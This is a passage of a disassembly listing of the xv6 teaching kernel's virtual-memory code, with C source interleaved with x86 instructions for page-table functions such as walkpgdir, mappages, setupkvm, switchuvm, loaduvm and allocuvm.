80107ffa: 83 c9 80 or $0xffffff80,%ecx
80107ffd: 88 88 8d 00 00 00 mov %cl,0x8d(%eax)
80108003: 8b 45 f4 mov -0xc(%ebp),%eax
80108006: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
8010800d: 83 e1 f0 and $0xfffffff0,%ecx
80108010: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80108016: 8b 45 f4 mov -0xc(%ebp),%eax
80108019: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80108020: 83 e1 ef and $0xffffffef,%ecx
80108023: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80108029: 8b 45 f4 mov -0xc(%ebp),%eax
8010802c: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80108033: 83 e1 df and $0xffffffdf,%ecx
80108036: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
8010803c: 8b 45 f4 mov -0xc(%ebp),%eax
8010803f: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80108046: 83 c9 40 or $0x40,%ecx
80108049: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
8010804f: 8b 45 f4 mov -0xc(%ebp),%eax
80108052: 0f b6 88 8e 00 00 00 movzbl 0x8e(%eax),%ecx
80108059: 83 c9 80 or $0xffffff80,%ecx
8010805c: 88 88 8e 00 00 00 mov %cl,0x8e(%eax)
80108062: 8b 45 f4 mov -0xc(%ebp),%eax
80108065: 88 90 8f 00 00 00 mov %dl,0x8f(%eax)
lgdt(c->gdt, sizeof(c->gdt));
8010806b: 8b 45 f4 mov -0xc(%ebp),%eax
8010806e: 83 c0 70 add $0x70,%eax
80108071: c7 44 24 04 38 00 00 movl $0x38,0x4(%esp)
80108078: 00
80108079: 89 04 24 mov %eax,(%esp)
8010807c: e8 37 fb ff ff call 80107bb8 <lgdt>
loadgs(SEG_KCPU << 3);
80108081: c7 04 24 18 00 00 00 movl $0x18,(%esp)
80108088: e8 6a fb ff ff call 80107bf7 <loadgs>
// Initialize cpu-local storage.
cpu = c;
8010808d: 8b 45 f4 mov -0xc(%ebp),%eax
80108090: 65 a3 00 00 00 00 mov %eax,%gs:0x0
proc = 0;
80108096: 65 c7 05 04 00 00 00 movl $0x0,%gs:0x4
8010809d: 00 00 00 00
}
801080a1: 83 c4 24 add $0x24,%esp
801080a4: 5b pop %ebx
801080a5: 5d pop %ebp
801080a6: c3 ret
801080a7 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
801080a7: 55 push %ebp
801080a8: 89 e5 mov %esp,%ebp
801080aa: 83 ec 28 sub $0x28,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
801080ad: 8b 45 0c mov 0xc(%ebp),%eax
801080b0: c1 e8 16 shr $0x16,%eax
801080b3: c1 e0 02 shl $0x2,%eax
801080b6: 03 45 08 add 0x8(%ebp),%eax
801080b9: 89 45 f0 mov %eax,-0x10(%ebp)
if(*pde & PTE_P){
801080bc: 8b 45 f0 mov -0x10(%ebp),%eax
801080bf: 8b 00 mov (%eax),%eax
801080c1: 83 e0 01 and $0x1,%eax
801080c4: 84 c0 test %al,%al
801080c6: 74 17 je 801080df <walkpgdir+0x38>
pgtab = (pte_t*)p2v(PTE_ADDR(*pde));
801080c8: 8b 45 f0 mov -0x10(%ebp),%eax
801080cb: 8b 00 mov (%eax),%eax
801080cd: 25 00 f0 ff ff and $0xfffff000,%eax
801080d2: 89 04 24 mov %eax,(%esp)
801080d5: e8 4a fb ff ff call 80107c24 <p2v>
801080da: 89 45 f4 mov %eax,-0xc(%ebp)
801080dd: eb 4b jmp 8010812a <walkpgdir+0x83>
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
801080df: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
801080e3: 74 0e je 801080f3 <walkpgdir+0x4c>
801080e5: e8 21 aa ff ff call 80102b0b <kalloc>
801080ea: 89 45 f4 mov %eax,-0xc(%ebp)
801080ed: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801080f1: 75 07 jne 801080fa <walkpgdir+0x53>
return 0;
801080f3: b8 00 00 00 00 mov $0x0,%eax
801080f8: eb 41 jmp 8010813b <walkpgdir+0x94>
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
801080fa: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108101: 00
80108102: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108109: 00
8010810a: 8b 45 f4 mov -0xc(%ebp),%eax
8010810d: 89 04 24 mov %eax,(%esp)
80108110: e8 49 d4 ff ff call 8010555e <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = v2p(pgtab) | PTE_P | PTE_W | PTE_U;
80108115: 8b 45 f4 mov -0xc(%ebp),%eax
80108118: 89 04 24 mov %eax,(%esp)
8010811b: e8 f7 fa ff ff call 80107c17 <v2p>
80108120: 89 c2 mov %eax,%edx
80108122: 83 ca 07 or $0x7,%edx
80108125: 8b 45 f0 mov -0x10(%ebp),%eax
80108128: 89 10 mov %edx,(%eax)
}
return &pgtab[PTX(va)];
8010812a: 8b 45 0c mov 0xc(%ebp),%eax
8010812d: c1 e8 0c shr $0xc,%eax
80108130: 25 ff 03 00 00 and $0x3ff,%eax
80108135: c1 e0 02 shl $0x2,%eax
80108138: 03 45 f4 add -0xc(%ebp),%eax
}
8010813b: c9 leave
8010813c: c3 ret
8010813d <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
8010813d: 55 push %ebp
8010813e: 89 e5 mov %esp,%ebp
80108140: 83 ec 28 sub $0x28,%esp
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80108143: 8b 45 0c mov 0xc(%ebp),%eax
80108146: 25 00 f0 ff ff and $0xfffff000,%eax
8010814b: 89 45 f4 mov %eax,-0xc(%ebp)
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
8010814e: 8b 45 0c mov 0xc(%ebp),%eax
80108151: 03 45 10 add 0x10(%ebp),%eax
80108154: 83 e8 01 sub $0x1,%eax
80108157: 25 00 f0 ff ff and $0xfffff000,%eax
8010815c: 89 45 f0 mov %eax,-0x10(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
8010815f: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
80108166: 00
80108167: 8b 45 f4 mov -0xc(%ebp),%eax
8010816a: 89 44 24 04 mov %eax,0x4(%esp)
8010816e: 8b 45 08 mov 0x8(%ebp),%eax
80108171: 89 04 24 mov %eax,(%esp)
80108174: e8 2e ff ff ff call 801080a7 <walkpgdir>
80108179: 89 45 ec mov %eax,-0x14(%ebp)
8010817c: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80108180: 75 07 jne 80108189 <mappages+0x4c>
return -1;
80108182: b8 ff ff ff ff mov $0xffffffff,%eax
80108187: eb 46 jmp 801081cf <mappages+0x92>
if(*pte & PTE_P)
80108189: 8b 45 ec mov -0x14(%ebp),%eax
8010818c: 8b 00 mov (%eax),%eax
8010818e: 83 e0 01 and $0x1,%eax
80108191: 84 c0 test %al,%al
80108193: 74 0c je 801081a1 <mappages+0x64>
panic("remap");
80108195: c7 04 24 f4 8f 10 80 movl $0x80108ff4,(%esp)
8010819c: e8 9c 83 ff ff call 8010053d <panic>
*pte = pa | perm | PTE_P;
801081a1: 8b 45 18 mov 0x18(%ebp),%eax
801081a4: 0b 45 14 or 0x14(%ebp),%eax
801081a7: 89 c2 mov %eax,%edx
801081a9: 83 ca 01 or $0x1,%edx
801081ac: 8b 45 ec mov -0x14(%ebp),%eax
801081af: 89 10 mov %edx,(%eax)
if(a == last)
801081b1: 8b 45 f4 mov -0xc(%ebp),%eax
801081b4: 3b 45 f0 cmp -0x10(%ebp),%eax
801081b7: 74 10 je 801081c9 <mappages+0x8c>
break;
a += PGSIZE;
801081b9: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
pa += PGSIZE;
801081c0: 81 45 14 00 10 00 00 addl $0x1000,0x14(%ebp)
}
801081c7: eb 96 jmp 8010815f <mappages+0x22>
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
if(a == last)
break;
801081c9: 90 nop
a += PGSIZE;
pa += PGSIZE;
}
return 0;
801081ca: b8 00 00 00 00 mov $0x0,%eax
}
801081cf: c9 leave
801081d0: c3 ret
801081d1 <setupkvm>:
};
// Set up kernel part of a page table.
pde_t*
setupkvm(void)
{
801081d1: 55 push %ebp
801081d2: 89 e5 mov %esp,%ebp
801081d4: 53 push %ebx
801081d5: 83 ec 34 sub $0x34,%esp
pde_t *pgdir;
struct kmap *k;
if((pgdir = (pde_t*)kalloc()) == 0)
801081d8: e8 2e a9 ff ff call 80102b0b <kalloc>
801081dd: 89 45 f0 mov %eax,-0x10(%ebp)
801081e0: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801081e4: 75 0a jne 801081f0 <setupkvm+0x1f>
return 0;
801081e6: b8 00 00 00 00 mov $0x0,%eax
801081eb: e9 98 00 00 00 jmp 80108288 <setupkvm+0xb7>
memset(pgdir, 0, PGSIZE);
801081f0: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801081f7: 00
801081f8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
801081ff: 00
80108200: 8b 45 f0 mov -0x10(%ebp),%eax
80108203: 89 04 24 mov %eax,(%esp)
80108206: e8 53 d3 ff ff call 8010555e <memset>
if (p2v(PHYSTOP) > (void*)DEVSPACE)
8010820b: c7 04 24 00 00 00 0e movl $0xe000000,(%esp)
80108212: e8 0d fa ff ff call 80107c24 <p2v>
80108217: 3d 00 00 00 fe cmp $0xfe000000,%eax
8010821c: 76 0c jbe 8010822a <setupkvm+0x59>
panic("PHYSTOP too high");
8010821e: c7 04 24 fa 8f 10 80 movl $0x80108ffa,(%esp)
80108225: e8 13 83 ff ff call 8010053d <panic>
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
8010822a: c7 45 f4 c0 c4 10 80 movl $0x8010c4c0,-0xc(%ebp)
80108231: eb 49 jmp 8010827c <setupkvm+0xab>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
80108233: 8b 45 f4 mov -0xc(%ebp),%eax
return 0;
memset(pgdir, 0, PGSIZE);
if (p2v(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
80108236: 8b 48 0c mov 0xc(%eax),%ecx
(uint)k->phys_start, k->perm) < 0)
80108239: 8b 45 f4 mov -0xc(%ebp),%eax
return 0;
memset(pgdir, 0, PGSIZE);
if (p2v(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
8010823c: 8b 50 04 mov 0x4(%eax),%edx
8010823f: 8b 45 f4 mov -0xc(%ebp),%eax
80108242: 8b 58 08 mov 0x8(%eax),%ebx
80108245: 8b 45 f4 mov -0xc(%ebp),%eax
80108248: 8b 40 04 mov 0x4(%eax),%eax
8010824b: 29 c3 sub %eax,%ebx
8010824d: 8b 45 f4 mov -0xc(%ebp),%eax
80108250: 8b 00 mov (%eax),%eax
80108252: 89 4c 24 10 mov %ecx,0x10(%esp)
80108256: 89 54 24 0c mov %edx,0xc(%esp)
8010825a: 89 5c 24 08 mov %ebx,0x8(%esp)
8010825e: 89 44 24 04 mov %eax,0x4(%esp)
80108262: 8b 45 f0 mov -0x10(%ebp),%eax
80108265: 89 04 24 mov %eax,(%esp)
80108268: e8 d0 fe ff ff call 8010813d <mappages>
8010826d: 85 c0 test %eax,%eax
8010826f: 79 07 jns 80108278 <setupkvm+0xa7>
(uint)k->phys_start, k->perm) < 0)
return 0;
80108271: b8 00 00 00 00 mov $0x0,%eax
80108276: eb 10 jmp 80108288 <setupkvm+0xb7>
if((pgdir = (pde_t*)kalloc()) == 0)
return 0;
memset(pgdir, 0, PGSIZE);
if (p2v(PHYSTOP) > (void*)DEVSPACE)
panic("PHYSTOP too high");
for(k = kmap; k < &kmap[NELEM(kmap)]; k++)
80108278: 83 45 f4 10 addl $0x10,-0xc(%ebp)
8010827c: 81 7d f4 00 c5 10 80 cmpl $0x8010c500,-0xc(%ebp)
80108283: 72 ae jb 80108233 <setupkvm+0x62>
if(mappages(pgdir, k->virt, k->phys_end - k->phys_start,
(uint)k->phys_start, k->perm) < 0)
return 0;
return pgdir;
80108285: 8b 45 f0 mov -0x10(%ebp),%eax
}
80108288: 83 c4 34 add $0x34,%esp
8010828b: 5b pop %ebx
8010828c: 5d pop %ebp
8010828d: c3 ret
8010828e <kvmalloc>:
// Allocate one page table for the machine for the kernel address
// space for scheduler processes.
void
kvmalloc(void)
{
8010828e: 55 push %ebp
8010828f: 89 e5 mov %esp,%ebp
80108291: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80108294: e8 38 ff ff ff call 801081d1 <setupkvm>
80108299: a3 58 63 11 80 mov %eax,0x80116358
switchkvm();
8010829e: e8 02 00 00 00 call 801082a5 <switchkvm>
}
801082a3: c9 leave
801082a4: c3 ret
801082a5 <switchkvm>:
// Switch h/w page table register to the kernel-only page table,
// for when no process is running.
void
switchkvm(void)
{
801082a5: 55 push %ebp
801082a6: 89 e5 mov %esp,%ebp
801082a8: 83 ec 04 sub $0x4,%esp
lcr3(v2p(kpgdir)); // switch to the kernel page table
801082ab: a1 58 63 11 80 mov 0x80116358,%eax
801082b0: 89 04 24 mov %eax,(%esp)
801082b3: e8 5f f9 ff ff call 80107c17 <v2p>
801082b8: 89 04 24 mov %eax,(%esp)
801082bb: e8 4c f9 ff ff call 80107c0c <lcr3>
}
801082c0: c9 leave
801082c1: c3 ret
801082c2 <switchuvm>:
// Switch TSS and h/w page table to correspond to process p.
void
switchuvm(struct proc *p)
{
801082c2: 55 push %ebp
801082c3: 89 e5 mov %esp,%ebp
801082c5: 53 push %ebx
801082c6: 83 ec 14 sub $0x14,%esp
pushcli();
801082c9: e8 89 d1 ff ff call 80105457 <pushcli>
cpu->gdt[SEG_TSS] = SEG16(STS_T32A, &cpu->ts, sizeof(cpu->ts)-1, 0);
801082ce: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801082d4: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801082db: 83 c2 08 add $0x8,%edx
801082de: 89 d3 mov %edx,%ebx
801082e0: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801082e7: 83 c2 08 add $0x8,%edx
801082ea: c1 ea 10 shr $0x10,%edx
801082ed: 89 d1 mov %edx,%ecx
801082ef: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
801082f6: 83 c2 08 add $0x8,%edx
801082f9: c1 ea 18 shr $0x18,%edx
801082fc: 66 c7 80 a0 00 00 00 movw $0x67,0xa0(%eax)
80108303: 67 00
80108305: 66 89 98 a2 00 00 00 mov %bx,0xa2(%eax)
8010830c: 88 88 a4 00 00 00 mov %cl,0xa4(%eax)
80108312: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
80108319: 83 e1 f0 and $0xfffffff0,%ecx
8010831c: 83 c9 09 or $0x9,%ecx
8010831f: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
80108325: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
8010832c: 83 c9 10 or $0x10,%ecx
8010832f: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
80108335: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
8010833c: 83 e1 9f and $0xffffff9f,%ecx
8010833f: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
80108345: 0f b6 88 a5 00 00 00 movzbl 0xa5(%eax),%ecx
8010834c: 83 c9 80 or $0xffffff80,%ecx
8010834f: 88 88 a5 00 00 00 mov %cl,0xa5(%eax)
80108355: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
8010835c: 83 e1 f0 and $0xfffffff0,%ecx
8010835f: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
80108365: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
8010836c: 83 e1 ef and $0xffffffef,%ecx
8010836f: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
80108375: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
8010837c: 83 e1 df and $0xffffffdf,%ecx
8010837f: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
80108385: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
8010838c: 83 c9 40 or $0x40,%ecx
8010838f: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
80108395: 0f b6 88 a6 00 00 00 movzbl 0xa6(%eax),%ecx
8010839c: 83 e1 7f and $0x7f,%ecx
8010839f: 88 88 a6 00 00 00 mov %cl,0xa6(%eax)
801083a5: 88 90 a7 00 00 00 mov %dl,0xa7(%eax)
cpu->gdt[SEG_TSS].s = 0;
801083ab: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801083b1: 0f b6 90 a5 00 00 00 movzbl 0xa5(%eax),%edx
801083b8: 83 e2 ef and $0xffffffef,%edx
801083bb: 88 90 a5 00 00 00 mov %dl,0xa5(%eax)
cpu->ts.ss0 = SEG_KDATA << 3;
801083c1: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801083c7: 66 c7 40 10 10 00 movw $0x10,0x10(%eax)
cpu->ts.esp0 = (uint)proc->kstack + KSTACKSIZE;
801083cd: 65 a1 00 00 00 00 mov %gs:0x0,%eax
801083d3: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
801083da: 8b 52 08 mov 0x8(%edx),%edx
801083dd: 81 c2 00 10 00 00 add $0x1000,%edx
801083e3: 89 50 0c mov %edx,0xc(%eax)
ltr(SEG_TSS << 3);
801083e6: c7 04 24 30 00 00 00 movl $0x30,(%esp)
801083ed: e8 ef f7 ff ff call 80107be1 <ltr>
if(p->pgdir == 0)
801083f2: 8b 45 08 mov 0x8(%ebp),%eax
801083f5: 8b 40 04 mov 0x4(%eax),%eax
801083f8: 85 c0 test %eax,%eax
801083fa: 75 0c jne 80108408 <switchuvm+0x146>
panic("switchuvm: no pgdir");
801083fc: c7 04 24 0b 90 10 80 movl $0x8010900b,(%esp)
80108403: e8 35 81 ff ff call 8010053d <panic>
lcr3(v2p(p->pgdir)); // switch to new address space
80108408: 8b 45 08 mov 0x8(%ebp),%eax
8010840b: 8b 40 04 mov 0x4(%eax),%eax
8010840e: 89 04 24 mov %eax,(%esp)
80108411: e8 01 f8 ff ff call 80107c17 <v2p>
80108416: 89 04 24 mov %eax,(%esp)
80108419: e8 ee f7 ff ff call 80107c0c <lcr3>
popcli();
8010841e: e8 7c d0 ff ff call 8010549f <popcli>
}
80108423: 83 c4 14 add $0x14,%esp
80108426: 5b pop %ebx
80108427: 5d pop %ebp
80108428: c3 ret
80108429 <inituvm>:
// Load the initcode into address 0 of pgdir.
// sz must be less than a page.
void
inituvm(pde_t *pgdir, char *init, uint sz)
{
80108429: 55 push %ebp
8010842a: 89 e5 mov %esp,%ebp
8010842c: 83 ec 38 sub $0x38,%esp
char *mem;
if(sz >= PGSIZE)
8010842f: 81 7d 10 ff 0f 00 00 cmpl $0xfff,0x10(%ebp)
80108436: 76 0c jbe 80108444 <inituvm+0x1b>
panic("inituvm: more than a page");
80108438: c7 04 24 1f 90 10 80 movl $0x8010901f,(%esp)
8010843f: e8 f9 80 ff ff call 8010053d <panic>
mem = kalloc();
80108444: e8 c2 a6 ff ff call 80102b0b <kalloc>
80108449: 89 45 f4 mov %eax,-0xc(%ebp)
memset(mem, 0, PGSIZE);
8010844c: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108453: 00
80108454: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010845b: 00
8010845c: 8b 45 f4 mov -0xc(%ebp),%eax
8010845f: 89 04 24 mov %eax,(%esp)
80108462: e8 f7 d0 ff ff call 8010555e <memset>
mappages(pgdir, 0, PGSIZE, v2p(mem), PTE_W|PTE_U);
80108467: 8b 45 f4 mov -0xc(%ebp),%eax
8010846a: 89 04 24 mov %eax,(%esp)
8010846d: e8 a5 f7 ff ff call 80107c17 <v2p>
80108472: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80108479: 00
8010847a: 89 44 24 0c mov %eax,0xc(%esp)
8010847e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108485: 00
80108486: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010848d: 00
8010848e: 8b 45 08 mov 0x8(%ebp),%eax
80108491: 89 04 24 mov %eax,(%esp)
80108494: e8 a4 fc ff ff call 8010813d <mappages>
memmove(mem, init, sz);
80108499: 8b 45 10 mov 0x10(%ebp),%eax
8010849c: 89 44 24 08 mov %eax,0x8(%esp)
801084a0: 8b 45 0c mov 0xc(%ebp),%eax
801084a3: 89 44 24 04 mov %eax,0x4(%esp)
801084a7: 8b 45 f4 mov -0xc(%ebp),%eax
801084aa: 89 04 24 mov %eax,(%esp)
801084ad: e8 7f d1 ff ff call 80105631 <memmove>
}
801084b2: c9 leave
801084b3: c3 ret
801084b4 <loaduvm>:
// Load a program segment into pgdir. addr must be page-aligned
// and the pages from addr to addr+sz must already be mapped.
int
loaduvm(pde_t *pgdir, char *addr, struct inode *ip, uint offset, uint sz)
{
801084b4: 55 push %ebp
801084b5: 89 e5 mov %esp,%ebp
801084b7: 53 push %ebx
801084b8: 83 ec 24 sub $0x24,%esp
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
801084bb: 8b 45 0c mov 0xc(%ebp),%eax
801084be: 25 ff 0f 00 00 and $0xfff,%eax
801084c3: 85 c0 test %eax,%eax
801084c5: 74 0c je 801084d3 <loaduvm+0x1f>
panic("loaduvm: addr must be page aligned");
801084c7: c7 04 24 3c 90 10 80 movl $0x8010903c,(%esp)
801084ce: e8 6a 80 ff ff call 8010053d <panic>
for(i = 0; i < sz; i += PGSIZE){
801084d3: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801084da: e9 ad 00 00 00 jmp 8010858c <loaduvm+0xd8>
if((pte = walkpgdir(pgdir, addr+i, 0)) == 0)
801084df: 8b 45 f4 mov -0xc(%ebp),%eax
801084e2: 8b 55 0c mov 0xc(%ebp),%edx
801084e5: 01 d0 add %edx,%eax
801084e7: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801084ee: 00
801084ef: 89 44 24 04 mov %eax,0x4(%esp)
801084f3: 8b 45 08 mov 0x8(%ebp),%eax
801084f6: 89 04 24 mov %eax,(%esp)
801084f9: e8 a9 fb ff ff call 801080a7 <walkpgdir>
801084fe: 89 45 ec mov %eax,-0x14(%ebp)
80108501: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80108505: 75 0c jne 80108513 <loaduvm+0x5f>
panic("loaduvm: address should exist");
80108507: c7 04 24 5f 90 10 80 movl $0x8010905f,(%esp)
8010850e: e8 2a 80 ff ff call 8010053d <panic>
pa = PTE_ADDR(*pte);
80108513: 8b 45 ec mov -0x14(%ebp),%eax
80108516: 8b 00 mov (%eax),%eax
80108518: 25 00 f0 ff ff and $0xfffff000,%eax
8010851d: 89 45 e8 mov %eax,-0x18(%ebp)
if(sz - i < PGSIZE)
80108520: 8b 45 f4 mov -0xc(%ebp),%eax
80108523: 8b 55 18 mov 0x18(%ebp),%edx
80108526: 89 d1 mov %edx,%ecx
80108528: 29 c1 sub %eax,%ecx
8010852a: 89 c8 mov %ecx,%eax
8010852c: 3d ff 0f 00 00 cmp $0xfff,%eax
80108531: 77 11 ja 80108544 <loaduvm+0x90>
n = sz - i;
80108533: 8b 45 f4 mov -0xc(%ebp),%eax
80108536: 8b 55 18 mov 0x18(%ebp),%edx
80108539: 89 d1 mov %edx,%ecx
8010853b: 29 c1 sub %eax,%ecx
8010853d: 89 c8 mov %ecx,%eax
8010853f: 89 45 f0 mov %eax,-0x10(%ebp)
80108542: eb 07 jmp 8010854b <loaduvm+0x97>
else
n = PGSIZE;
80108544: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp)
if(readi(ip, p2v(pa), offset+i, n) != n)
8010854b: 8b 45 f4 mov -0xc(%ebp),%eax
8010854e: 8b 55 14 mov 0x14(%ebp),%edx
80108551: 8d 1c 02 lea (%edx,%eax,1),%ebx
80108554: 8b 45 e8 mov -0x18(%ebp),%eax
80108557: 89 04 24 mov %eax,(%esp)
8010855a: e8 c5 f6 ff ff call 80107c24 <p2v>
8010855f: 8b 55 f0 mov -0x10(%ebp),%edx
80108562: 89 54 24 0c mov %edx,0xc(%esp)
80108566: 89 5c 24 08 mov %ebx,0x8(%esp)
8010856a: 89 44 24 04 mov %eax,0x4(%esp)
8010856e: 8b 45 10 mov 0x10(%ebp),%eax
80108571: 89 04 24 mov %eax,(%esp)
80108574: e8 f1 97 ff ff call 80101d6a <readi>
80108579: 3b 45 f0 cmp -0x10(%ebp),%eax
8010857c: 74 07 je 80108585 <loaduvm+0xd1>
return -1;
8010857e: b8 ff ff ff ff mov $0xffffffff,%eax
80108583: eb 18 jmp 8010859d <loaduvm+0xe9>
uint i, pa, n;
pte_t *pte;
if((uint) addr % PGSIZE != 0)
panic("loaduvm: addr must be page aligned");
for(i = 0; i < sz; i += PGSIZE){
80108585: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
8010858c: 8b 45 f4 mov -0xc(%ebp),%eax
8010858f: 3b 45 18 cmp 0x18(%ebp),%eax
80108592: 0f 82 47 ff ff ff jb 801084df <loaduvm+0x2b>
else
n = PGSIZE;
if(readi(ip, p2v(pa), offset+i, n) != n)
return -1;
}
return 0;
80108598: b8 00 00 00 00 mov $0x0,%eax
}
8010859d: 83 c4 24 add $0x24,%esp
801085a0: 5b pop %ebx
801085a1: 5d pop %ebp
801085a2: c3 ret
801085a3 <allocuvm>:
// Allocate page tables and physical memory to grow process from oldsz to
// newsz, which need not be page aligned. Returns new size or 0 on error.
int
allocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
801085a3: 55 push %ebp
801085a4: 89 e5 mov %esp,%ebp
801085a6: 83 ec 38 sub $0x38,%esp
char *mem;
uint a;
if(newsz >= KERNBASE)
801085a9: 8b 45 10 mov 0x10(%ebp),%eax
801085ac: 85 c0 test %eax,%eax
801085ae: 79 0a jns 801085ba <allocuvm+0x17>
return 0;
801085b0: b8 00 00 00 00 mov $0x0,%eax
801085b5: e9 c1 00 00 00 jmp 8010867b <allocuvm+0xd8>
if(newsz < oldsz)
801085ba: 8b 45 10 mov 0x10(%ebp),%eax
801085bd: 3b 45 0c cmp 0xc(%ebp),%eax
801085c0: 73 08 jae 801085ca <allocuvm+0x27>
return oldsz;
801085c2: 8b 45 0c mov 0xc(%ebp),%eax
801085c5: e9 b1 00 00 00 jmp 8010867b <allocuvm+0xd8>
a = PGROUNDUP(oldsz);
801085ca: 8b 45 0c mov 0xc(%ebp),%eax
801085cd: 05 ff 0f 00 00 add $0xfff,%eax
801085d2: 25 00 f0 ff ff and $0xfffff000,%eax
801085d7: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < newsz; a += PGSIZE){
801085da: e9 8d 00 00 00 jmp 8010866c <allocuvm+0xc9>
mem = kalloc();
801085df: e8 27 a5 ff ff call 80102b0b <kalloc>
801085e4: 89 45 f0 mov %eax,-0x10(%ebp)
if(mem == 0){
801085e7: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801085eb: 75 2c jne 80108619 <allocuvm+0x76>
cprintf("allocuvm out of memory\n");
801085ed: c7 04 24 7d 90 10 80 movl $0x8010907d,(%esp)
801085f4: e8 a8 7d ff ff call 801003a1 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
801085f9: 8b 45 0c mov 0xc(%ebp),%eax
801085fc: 89 44 24 08 mov %eax,0x8(%esp)
80108600: 8b 45 10 mov 0x10(%ebp),%eax
80108603: 89 44 24 04 mov %eax,0x4(%esp)
80108607: 8b 45 08 mov 0x8(%ebp),%eax
8010860a: 89 04 24 mov %eax,(%esp)
8010860d: e8 6b 00 00 00 call 8010867d <deallocuvm>
return 0;
80108612: b8 00 00 00 00 mov $0x0,%eax
80108617: eb 62 jmp 8010867b <allocuvm+0xd8>
}
memset(mem, 0, PGSIZE);
80108619: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108620: 00
80108621: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80108628: 00
80108629: 8b 45 f0 mov -0x10(%ebp),%eax
8010862c: 89 04 24 mov %eax,(%esp)
8010862f: e8 2a cf ff ff call 8010555e <memset>
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
80108634: 8b 45 f0 mov -0x10(%ebp),%eax
80108637: 89 04 24 mov %eax,(%esp)
8010863a: e8 d8 f5 ff ff call 80107c17 <v2p>
8010863f: 8b 55 f4 mov -0xc(%ebp),%edx
80108642: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
80108649: 00
8010864a: 89 44 24 0c mov %eax,0xc(%esp)
8010864e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108655: 00
